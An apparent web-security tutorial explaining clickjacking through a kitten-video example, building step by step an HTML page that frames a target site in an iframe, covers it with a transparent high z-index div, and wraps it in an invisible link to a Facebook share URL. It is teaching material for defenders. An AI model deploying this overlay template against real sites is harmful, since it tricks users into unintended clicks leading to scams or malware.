Clickjacking is a method of tricking
website users into clicking on a harmful link, by disguising the link as
something else.
Imagine you are the owner of the leading kitten video site on
the internet, and you find yourself hosting the most clickable
kitten video the world has ever seen.
This makes you a pretty good target for hackers wanting to steal clicks.
Suppose your site lives at
www.kittens.com
. Unless you
have implemented protective measures, a hacker could build their own
site with a very similar URL, and include your site in an iframe.
Next, the attacker adds a transparent div on top of the iframe,
with a higher z-index...
...and wraps that div in a link tag.
Now a user who wants to view your video can be tricked into
performing any action the attacker intends - even potentially
harmful ones, like downloading malware or being taken to online
scams.
As far as the browser knows, the user has legitimately chosen to click on
the hacker's link. As a result, the browser will go ahead and perform
whatever action is sitting behind that link.
Go ahead and click on the incredible cat video, and see what happens.
Luckily, clickjacking is easy to defend against. Let's see how.
www.kittens.com/vacuum-revenge
www.k1tt3ns.com/vacuum-revenge
www.k1tt3ns.com/vacuum-revenge
Your Website, Enclosed In An Iframe...
<html>
<head>
<style>
body {
position: relative;
margin: 0;
}
iframe {
border: none;
position: absolute;
width: 100%;
height: 100%;
}
</style>
</head>
<body>
<iframe src="www.kittens.com/vacuum-revenge">
</iframe>
</body>
</html>
...With A Transparent DIV Overlaid...
<html>
<head>
<style>
body {
position: relative;
margin: 0;
}
iframe, div {
border: none;
position: absolute;
width: 100%;
height: 100%;
}
div {
z-index: 100;
}
</style>
</head>
<body>
<iframe src="www.kittens.com/vacuum-revenge">
</iframe>
<div></div>
</body>
</html>
...And An Invisible Link
<html>
<head>
<style>
body {
position: relative;
margin: 0;
}
iframe, div, a {
border: none;
position: absolute;
width: 100%;
height: 100%;
}
div {
z-index: 100;
}
a {
display: block;
}
</style>
</head>
<body>
<iframe src="www.kittens.com/vacuum-revenge">
</iframe>
<div>
<a href="https://www.facebook.com/sharer/sharer.php?
u=http%3A%2F%2Fwww.fakewebsite.com"></a>
</div>
</body>
</html>